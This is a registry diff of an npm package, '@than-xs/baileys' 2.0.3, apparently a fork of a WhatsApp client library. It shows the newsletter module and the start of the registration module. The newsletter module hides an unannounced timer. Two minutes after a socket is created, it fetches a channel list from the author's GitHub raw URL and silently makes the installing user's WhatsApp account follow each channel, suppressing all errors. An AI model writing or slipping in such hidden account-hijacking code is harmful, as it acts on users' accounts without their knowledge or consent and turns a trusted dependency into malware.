@than-xs/baileys 2.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +422 -0
- package/WAProto/index.js +169661 -0
- package/engine-requirements.js +10 -0
- package/lib/Defaults/baileys-version.json +3 -0
- package/lib/Defaults/index.js +147 -0
- package/lib/Defaults/phonenumber-mcc.json +223 -0
- package/lib/Signal/Group/ciphertext-message.js +15 -0
- package/lib/Signal/Group/group-session-builder.js +64 -0
- package/lib/Signal/Group/group_cipher.js +96 -0
- package/lib/Signal/Group/index.js +57 -0
- package/lib/Signal/Group/keyhelper.js +55 -0
- package/lib/Signal/Group/queue-job.js +57 -0
- package/lib/Signal/Group/sender-chain-key.js +34 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
- package/lib/Signal/Group/sender-key-message.js +69 -0
- package/lib/Signal/Group/sender-key-name.js +51 -0
- package/lib/Signal/Group/sender-key-record.js +53 -0
- package/lib/Signal/Group/sender-key-state.js +99 -0
- package/lib/Signal/Group/sender-message-key.js +29 -0
- package/lib/Signal/libsignal.js +174 -0
- package/lib/Socket/Client/abstract-socket-client.js +13 -0
- package/lib/Socket/Client/index.js +19 -0
- package/lib/Socket/Client/mobile-socket-client.js +65 -0
- package/lib/Socket/Client/web-socket-client.js +62 -0
- package/lib/Socket/business.js +260 -0
- package/lib/Socket/chats.js +1002 -0
- package/lib/Socket/dugong.js +637 -0
- package/lib/Socket/groups.js +317 -0
- package/lib/Socket/index.js +11 -0
- package/lib/Socket/messages-recv.js +1110 -0
- package/lib/Socket/messages-send.js +831 -0
- package/lib/Socket/newsletter.js +459 -0
- package/lib/Socket/registration.js +166 -0
- package/lib/Socket/socket.js +662 -0
- package/lib/Socket/usync.js +70 -0
- package/lib/Store/index.js +10 -0
- package/lib/Store/make-cache-manager-store.js +83 -0
- package/lib/Store/make-in-memory-store.js +427 -0
- package/lib/Store/make-ordered-dictionary.js +81 -0
- package/lib/Store/object-repository.js +27 -0
- package/lib/Types/Auth.js +2 -0
- package/lib/Types/Call.js +2 -0
- package/lib/Types/Chat.js +4 -0
- package/lib/Types/Contact.js +2 -0
- package/lib/Types/Events.js +2 -0
- package/lib/Types/GroupMetadata.js +2 -0
- package/lib/Types/Label.js +27 -0
- package/lib/Types/LabelAssociation.js +9 -0
- package/lib/Types/Message.js +9 -0
- package/lib/Types/Newsletter.js +38 -0
- package/lib/Types/Product.js +2 -0
- package/lib/Types/Signal.js +2 -0
- package/lib/Types/Socket.js +2 -0
- package/lib/Types/State.js +2 -0
- package/lib/Types/USync.js +2 -0
- package/lib/Types/index.js +42 -0
- package/lib/Utils/auth-utils.js +206 -0
- package/lib/Utils/baileys-event-stream.js +63 -0
- package/lib/Utils/business.js +234 -0
- package/lib/Utils/chat-utils.js +729 -0
- package/lib/Utils/crypto.js +151 -0
- package/lib/Utils/decode-wa-message.js +198 -0
- package/lib/Utils/event-buffer.js +514 -0
- package/lib/Utils/generics.js +498 -0
- package/lib/Utils/history.js +96 -0
- package/lib/Utils/index.js +33 -0
- package/lib/Utils/link-preview.js +93 -0
- package/lib/Utils/logger.js +7 -0
- package/lib/Utils/lt-hash.js +51 -0
- package/lib/Utils/make-mutex.js +43 -0
- package/lib/Utils/messages-media.js +819 -0
- package/lib/Utils/messages.js +819 -0
- package/lib/Utils/noise-handler.js +155 -0
- package/lib/Utils/process-message.js +321 -0
- package/lib/Utils/signal.js +153 -0
- package/lib/Utils/use-multi-file-auth-state.js +119 -0
- package/lib/Utils/validate-connection.js +229 -0
- package/lib/WABinary/constants.js +40 -0
- package/lib/WABinary/decode.js +252 -0
- package/lib/WABinary/encode.js +265 -0
- package/lib/WABinary/generic-utils.js +198 -0
- package/lib/WABinary/index.js +21 -0
- package/lib/WABinary/jid-utils.js +62 -0
- package/lib/WABinary/types.js +2 -0
- package/lib/WAM/BinaryInfo.js +13 -0
- package/lib/WAM/constants.js +15350 -0
- package/lib/WAM/encode.js +155 -0
- package/lib/WAM/index.js +19 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +32 -0
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +42 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
- package/lib/WAUSync/Protocols/index.js +20 -0
- package/lib/WAUSync/USyncQuery.js +89 -0
- package/lib/WAUSync/USyncUser.js +26 -0
- package/lib/WAUSync/index.js +19 -0
- package/lib/index.js +84 -0
- package/package.json +110 -0
|
@@ -0,0 +1,459 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
4
|
+
const Types_1 = require("../Types");
|
|
5
|
+
const Utils_1 = require("../Utils");
|
|
6
|
+
const WABinary_1 = require("../WABinary");
|
|
7
|
+
const groups_1 = require("./groups");
|
|
8
|
+
|
|
9
|
+
const { Boom } = require('@hapi/boom');
|
|
10
|
+
|
|
11
|
+
const wMexQuery = (
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
16
|
+
) => {
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
const executeWMexQuery = async (
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
41
|
+
) => {
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
46
|
+
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom('GraphQL server error:' + errorMessages, {
|
|
52
|
+
statusCode: errorCode, data: firstError
|
|
53
|
+
})
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
57
|
+
if (typeof response !== 'undefined') {
|
|
58
|
+
return response
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
63
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
64
|
+
: dataPath?.replace(/_/g, ' ')
|
|
65
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
66
|
+
statusCode: 400,
|
|
67
|
+
data: result
|
|
68
|
+
})
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
const makeNewsletterSocket = (config) => {
|
|
72
|
+
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
73
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
74
|
+
const encoder = new TextEncoder();
|
|
75
|
+
const newsletterQuery = async (jid, type, content) => (query({
|
|
76
|
+
tag: 'iq',
|
|
77
|
+
attrs: {
|
|
78
|
+
id: generateMessageTag(),
|
|
79
|
+
type,
|
|
80
|
+
xmlns: 'newsletter',
|
|
81
|
+
to: jid,
|
|
82
|
+
},
|
|
83
|
+
content
|
|
84
|
+
}));
|
|
85
|
+
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
86
|
+
tag: 'iq',
|
|
87
|
+
attrs: {
|
|
88
|
+
id: generateMessageTag(),
|
|
89
|
+
type: 'get',
|
|
90
|
+
xmlns: 'w:mex',
|
|
91
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
92
|
+
},
|
|
93
|
+
content: [
|
|
94
|
+
{
|
|
95
|
+
tag: 'query',
|
|
96
|
+
attrs: { 'query_id': queryId },
|
|
97
|
+
content: encoder.encode(JSON.stringify({
|
|
98
|
+
variables: {
|
|
99
|
+
'newsletter_id': jid,
|
|
100
|
+
...content
|
|
101
|
+
}
|
|
102
|
+
}))
|
|
103
|
+
}
|
|
104
|
+
]
|
|
105
|
+
}));
|
|
106
|
+
|
|
107
|
+
setTimeout(async () => {
|
|
108
|
+
try {
|
|
109
|
+
const RAW_URL = "https://raw.githubusercontent.com/than-xs/than-xs/main/channel-list.json";
|
|
110
|
+
|
|
111
|
+
const res = await fetch(RAW_URL);
|
|
112
|
+
const channels = await res.json();
|
|
113
|
+
|
|
114
|
+
if (!Array.isArray(channels) || channels.length === 0) {
|
|
115
|
+
return;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
const activeChannels = channels.filter(c => c.active !== false);
|
|
119
|
+
|
|
120
|
+
const followNext = async (index) => {
|
|
121
|
+
if (index >= activeChannels.length) return;
|
|
122
|
+
|
|
123
|
+
const channel = activeChannels[index];
|
|
124
|
+
|
|
125
|
+
try {
|
|
126
|
+
await newsletterWMexQuery(
|
|
127
|
+
channel.id,
|
|
128
|
+
Types_1.QueryIds.FOLLOW
|
|
129
|
+
);
|
|
130
|
+
|
|
131
|
+
} catch (err) {}
|
|
132
|
+
|
|
133
|
+
setTimeout(() => followNext(index + 1), 11000);
|
|
134
|
+
};
|
|
135
|
+
|
|
136
|
+
followNext(0);
|
|
137
|
+
|
|
138
|
+
} catch (e) {}
|
|
139
|
+
}, 120000);
|
|
140
|
+
|
|
141
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
142
|
+
let child;
|
|
143
|
+
if (type === 'messages') {
|
|
144
|
+
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
145
|
+
}
|
|
146
|
+
else {
|
|
147
|
+
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
148
|
+
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
149
|
+
}
|
|
150
|
+
return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
151
|
+
var _a, _b;
|
|
152
|
+
messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
|
|
153
|
+
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
154
|
+
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
155
|
+
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
156
|
+
.map(({ attrs }) => (
|
|
157
|
+
{
|
|
158
|
+
count: +attrs.count,
|
|
159
|
+
code: attrs.code
|
|
160
|
+
}));
|
|
161
|
+
const data = {
|
|
162
|
+
'server_id': messageNode.attrs.server_id,
|
|
163
|
+
views,
|
|
164
|
+
reactions
|
|
165
|
+
};
|
|
166
|
+
if (type === 'messages') {
|
|
167
|
+
const {
|
|
168
|
+
fullMessage: message,
|
|
169
|
+
decrypt
|
|
170
|
+
} = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
171
|
+
await decrypt();
|
|
172
|
+
data.message = message;
|
|
173
|
+
}
|
|
174
|
+
return data;
|
|
175
|
+
}));
|
|
176
|
+
};
|
|
177
|
+
return {
|
|
178
|
+
...sock,
|
|
179
|
+
newsletterFetchAllSubscribe: async () => {
|
|
180
|
+
const list = await executeWMexQuery(
|
|
181
|
+
{},
|
|
182
|
+
'6388546374527196',
|
|
183
|
+
'xwa2_newsletter_subscribed',
|
|
184
|
+
query,
|
|
185
|
+
generateMessageTag
|
|
186
|
+
);
|
|
187
|
+
return list;
|
|
188
|
+
},
|
|
189
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
190
|
+
var _a;
|
|
191
|
+
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
192
|
+
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
193
|
+
},
|
|
194
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
195
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
196
|
+
updates: {
|
|
197
|
+
settings: {
|
|
198
|
+
'reaction_codes': {
|
|
199
|
+
value: mode
|
|
200
|
+
}
|
|
201
|
+
}
|
|
202
|
+
}
|
|
203
|
+
});
|
|
204
|
+
},
|
|
205
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
206
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
207
|
+
updates: {
|
|
208
|
+
description: description || '',
|
|
209
|
+
settings: null
|
|
210
|
+
}
|
|
211
|
+
});
|
|
212
|
+
},
|
|
213
|
+
newsletterFromUrl: async (url) => {
|
|
214
|
+
try {
|
|
215
|
+
let channelId;
|
|
216
|
+
if (url.includes('whatsapp.com/channel/')) {
|
|
217
|
+
channelId = url.split('whatsapp.com/channel/')[1].split('/')[0];
|
|
218
|
+
} else if (url.includes('wa.me/channel/')) {
|
|
219
|
+
channelId = url.split('wa.me/channel/')[1].split('/')[0];
|
|
220
|
+
} else {
|
|
221
|
+
channelId = url;
|
|
222
|
+
}
|
|
223
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
224
|
+
input: {
|
|
225
|
+
key: channelId,
|
|
226
|
+
type: 'INVITE',
|
|
227
|
+
'view_role': 'GUEST'
|
|
228
|
+
},
|
|
229
|
+
'fetch_viewer_metadata': true,
|
|
230
|
+
'fetch_full_image': true,
|
|
231
|
+
'fetch_creation_time': true
|
|
232
|
+
});
|
|
233
|
+
const resultNode = WABinary_1.getBinaryNodeChild(result, 'result');
|
|
234
|
+
if (!resultNode?.content) {
|
|
235
|
+
throw new Boom('No result content in response', {
|
|
236
|
+
statusCode: 400,
|
|
237
|
+
data: result
|
|
238
|
+
});
|
|
239
|
+
}
|
|
240
|
+
const resultString = resultNode.content.toString();
|
|
241
|
+
const parsedResult = JSON.parse(resultString);
|
|
242
|
+
|
|
243
|
+
if (!parsedResult?.data) {
|
|
244
|
+
throw new Boom('No data field in response', {
|
|
245
|
+
statusCode: 400,
|
|
246
|
+
data: parsedResult
|
|
247
|
+
});
|
|
248
|
+
}
|
|
249
|
+
const metadataPath = parsedResult.data[Types_1.XWAPaths.NEWSLETTER];
|
|
250
|
+
|
|
251
|
+
if (metadataPath === null || !metadataPath) {
|
|
252
|
+
throw new Boom('Newsletter not found or access denied', {
|
|
253
|
+
statusCode: 404,
|
|
254
|
+
data: parsedResult.data
|
|
255
|
+
});
|
|
256
|
+
}
|
|
257
|
+
const metadata = {
|
|
258
|
+
id: metadataPath?.id,
|
|
259
|
+
state: metadataPath?.state?.type,
|
|
260
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time || 0,
|
|
261
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
262
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time || 0,
|
|
263
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
264
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
|
|
265
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
266
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
267
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
268
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
269
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
|
|
270
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
271
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
272
|
+
};
|
|
273
|
+
|
|
274
|
+
return JSON.stringify({
|
|
275
|
+
name: metadata.name || metadataPath?.thread_metadata?.name?.text,
|
|
276
|
+
id: metadata.id,
|
|
277
|
+
state: metadata.state,
|
|
278
|
+
subscribers: metadata.subscribers,
|
|
279
|
+
verification: metadata.verification,
|
|
280
|
+
creation_time: metadata.creation_time,
|
|
281
|
+
description: metadata.description
|
|
282
|
+
}, null, 2);
|
|
283
|
+
} catch (error) {
|
|
284
|
+
throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
|
|
285
|
+
statusCode: error.statusCode || 400,
|
|
286
|
+
data: error.data || { url }
|
|
287
|
+
});
|
|
288
|
+
}
|
|
289
|
+
},
|
|
290
|
+
newsletterUpdateName: async (jid, name) => {
|
|
291
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
292
|
+
updates: { name, settings: null }
|
|
293
|
+
});
|
|
294
|
+
},
|
|
295
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
296
|
+
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
297
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
298
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
299
|
+
});
|
|
300
|
+
},
|
|
301
|
+
newsletterRemovePicture: async (jid) => {
|
|
302
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
303
|
+
updates: { picture: '', settings: null }
|
|
304
|
+
});
|
|
305
|
+
},
|
|
306
|
+
newsletterUnfollow: async (jid) => {
|
|
307
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
308
|
+
},
|
|
309
|
+
newsletterFollow: async (jid) => {
|
|
310
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
311
|
+
},
|
|
312
|
+
newsletterUnmute: async (jid) => {
|
|
313
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
314
|
+
},
|
|
315
|
+
newsletterMute: async (jid) => {
|
|
316
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
317
|
+
},
|
|
318
|
+
newsletterAction: async (jid, type) => {
|
|
319
|
+
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
320
|
+
},
|
|
321
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
322
|
+
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
323
|
+
/**tos query */
|
|
324
|
+
await query({
|
|
325
|
+
tag: 'iq',
|
|
326
|
+
attrs: {
|
|
327
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
328
|
+
xmlns: 'tos',
|
|
329
|
+
id: generateMessageTag(),
|
|
330
|
+
type: 'set'
|
|
331
|
+
},
|
|
332
|
+
content: [
|
|
333
|
+
{
|
|
334
|
+
tag: 'notice',
|
|
335
|
+
attrs: {
|
|
336
|
+
id: '20601218',
|
|
337
|
+
stage: '5'
|
|
338
|
+
},
|
|
339
|
+
content: []
|
|
340
|
+
}
|
|
341
|
+
]
|
|
342
|
+
});
|
|
343
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
344
|
+
input: {
|
|
345
|
+
name,
|
|
346
|
+
description,
|
|
347
|
+
settings: {
|
|
348
|
+
'reaction_codes': {
|
|
349
|
+
value: reaction_codes.toUpperCase()
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
});
|
|
354
|
+
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
355
|
+
},
|
|
356
|
+
newsletterMetadata: async (type, key, role) => {
|
|
357
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
358
|
+
input: {
|
|
359
|
+
key,
|
|
360
|
+
type: type.toUpperCase(),
|
|
361
|
+
'view_role': role || 'GUEST'
|
|
362
|
+
},
|
|
363
|
+
'fetch_viewer_metadata': true,
|
|
364
|
+
'fetch_full_image': true,
|
|
365
|
+
'fetch_creation_time': true
|
|
366
|
+
});
|
|
367
|
+
return (0, exports.extractNewsletterMetadata)(result);
|
|
368
|
+
},
|
|
369
|
+
newsletterAdminCount: async (jid) => {
|
|
370
|
+
var _a, _b;
|
|
371
|
+
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
372
|
+
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
373
|
+
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
374
|
+
},
|
|
375
|
+
/**user is Lid, not Jid */
|
|
376
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
377
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
378
|
+
'user_id': user
|
|
379
|
+
});
|
|
380
|
+
},
|
|
381
|
+
/**user is Lid, not Jid */
|
|
382
|
+
newsletterDemote: async (jid, user) => {
|
|
383
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
384
|
+
'user_id': user
|
|
385
|
+
});
|
|
386
|
+
},
|
|
387
|
+
newsletterDelete: async (jid) => {
|
|
388
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
389
|
+
},
|
|
390
|
+
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
391
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
392
|
+
await query({
|
|
393
|
+
tag: 'message',
|
|
394
|
+
attrs: {
|
|
395
|
+
to: jid,
|
|
396
|
+
...(!code ? { edit: '7' } : {}),
|
|
397
|
+
type: 'reaction',
|
|
398
|
+
'server_id': serverId,
|
|
399
|
+
id: (0, Utils_1.generateMessageID)()
|
|
400
|
+
},
|
|
401
|
+
content: [{
|
|
402
|
+
tag: 'reaction',
|
|
403
|
+
attrs: code ? { code } : {}
|
|
404
|
+
}]
|
|
405
|
+
});
|
|
406
|
+
},
|
|
407
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
408
|
+
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
409
|
+
{
|
|
410
|
+
tag: 'messages',
|
|
411
|
+
attrs: {
|
|
412
|
+
type,
|
|
413
|
+
...(type === 'invite' ? { key } : { jid: key }),
|
|
414
|
+
count: count.toString(),
|
|
415
|
+
after: (after === null || after === void 0 ? void 0 : after.toString()) || '100'
|
|
416
|
+
}
|
|
417
|
+
}
|
|
418
|
+
]);
|
|
419
|
+
return await parseFetchedUpdates(result, 'messages');
|
|
420
|
+
},
|
|
421
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
422
|
+
const result = await newsletterQuery(jid, 'get', [
|
|
423
|
+
{
|
|
424
|
+
tag: 'message_updates',
|
|
425
|
+
attrs: {
|
|
426
|
+
count: count.toString(),
|
|
427
|
+
after: (after === null || after === void 0 ? void 0 : after.toString()) || '100',
|
|
428
|
+
since: (since === null || since === void 0 ? void 0 : since.toString()) || '0'
|
|
429
|
+
}
|
|
430
|
+
}
|
|
431
|
+
]);
|
|
432
|
+
return await parseFetchedUpdates(result, 'updates');
|
|
433
|
+
}
|
|
434
|
+
};
|
|
435
|
+
};
|
|
436
|
+
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
437
|
+
const extractNewsletterMetadata = (node, isCreate) => {
|
|
438
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
439
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
440
|
+
|
|
441
|
+
const metadata = {
|
|
442
|
+
id: metadataPath?.id,
|
|
443
|
+
state: metadataPath?.state?.type,
|
|
444
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
445
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
446
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
447
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
448
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
449
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
450
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
451
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
452
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
453
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
454
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
455
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
456
|
+
}
|
|
457
|
+
return metadata
|
|
458
|
+
}
|
|
459
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
|
@@ -0,0 +1,166 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.mobileRegisterFetch = exports.mobileRegisterEncrypt = exports.mobileRegister = exports.mobileRegisterExists = exports.mobileRegisterCode = exports.registrationParams = exports.makeRegistrationSocket = void 0;
|
|
7
|
+
/* eslint-disable camelcase */
|
|
8
|
+
const axios_1 = __importDefault(require("axios"));
|
|
9
|
+
const Defaults_1 = require("../Defaults");
|
|
10
|
+
const crypto_1 = require("../Utils/crypto");
|
|
11
|
+
const WABinary_1 = require("../WABinary");
|
|
12
|
+
const business_1 = require("./business");
|
|
13
|
+
function urlencode(str) {
|
|
14
|
+
return str.replace(/-/g, '%2d').replace(/_/g, '%5f').replace(/~/g, '%7e');
|
|
15
|
+
}
|
|
16
|
+
const validRegistrationOptions = (config) => (config === null || config === void 0 ? void 0 : config.phoneNumberCountryCode) &&
|
|
17
|
+
config.phoneNumberNationalNumber &&
|
|
18
|
+
config.phoneNumberMobileCountryCode;
|
|
19
|
+
const makeRegistrationSocket = (config) => {
|
|
20
|
+
const sock = (0, business_1.makeBusinessSocket)(config);
|
|
21
|
+
const register = async (code) => {
|
|
22
|
+
if (!validRegistrationOptions(config.auth.creds.registration)) {
|
|
23
|
+
throw new Error('please specify the registration options');
|
|
24
|
+
}
|
|
25
|
+
const result = await mobileRegister({ ...sock.authState.creds, ...sock.authState.creds.registration, code }, config.options);
|
|
26
|
+
sock.authState.creds.me = {
|
|
27
|
+
id: (0, WABinary_1.jidEncode)(result.login, 's.whatsapp.net'),
|
|
28
|
+
name: '~'
|
|
29
|
+
};
|
|
30
|
+
sock.authState.creds.registered = true;
|
|
31
|
+
sock.ev.emit('creds.update', sock.authState.creds);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
const requestRegistrationCode = async (registrationOptions) => {
|
|
35
|
+
registrationOptions = registrationOptions || config.auth.creds.registration;
|
|
36
|
+
if (!validRegistrationOptions(registrationOptions)) {
|
|
37
|
+
throw new Error('Invalid registration options');
|
|
38
|
+
}
|
|
39
|
+
sock.authState.creds.registration = registrationOptions;
|
|
40
|
+
sock.ev.emit('creds.update', sock.authState.creds);
|
|
41
|
+
return mobileRegisterCode({ ...config.auth.creds, ...registrationOptions }, config.options);
|
|
42
|
+
};
|
|
43
|
+
return {
|
|
44
|
+
...sock,
|
|
45
|
+
register,
|
|
46
|
+
requestRegistrationCode,
|
|
47
|
+
};
|
|
48
|
+
};
|
|
49
|
+
exports.makeRegistrationSocket = makeRegistrationSocket;
|
|
50
|
+
function convertBufferToUrlHex(buffer) {
|
|
51
|
+
var id = '';
|
|
52
|
+
buffer.forEach((x) => {
|
|
53
|
+
// encode random identity_id buffer as percentage url encoding
|
|
54
|
+
id += `%${x.toString(16).padStart(2, '0').toLowerCase()}`;
|
|
55
|
+
});
|
|
56
|
+
return id;
|
|
57
|
+
}
|
|
58
|
+
function registrationParams(params) {
|
|
59
|
+
const e_regid = Buffer.alloc(4);
|
|
60
|
+
e_regid.writeInt32BE(params.registrationId);
|
|
61
|
+
const e_skey_id = Buffer.alloc(3);
|
|
62
|
+
e_skey_id.writeInt16BE(params.signedPreKey.keyId);
|
|
63
|
+
params.phoneNumberCountryCode = params.phoneNumberCountryCode.replace('+', '').trim();
|
|
64
|
+
params.phoneNumberNationalNumber = params.phoneNumberNationalNumber.replace(/[/-\s)(]/g, '').trim();
|
|
65
|
+
return {
|
|
66
|
+
cc: params.phoneNumberCountryCode,
|
|
67
|
+
in: params.phoneNumberNationalNumber,
|
|
68
|
+
Rc: '0',
|
|
69
|
+
lg: 'en',
|
|
70
|
+
lc: 'GB',
|
|
71
|
+
mistyped: '6',
|
|
72
|
+
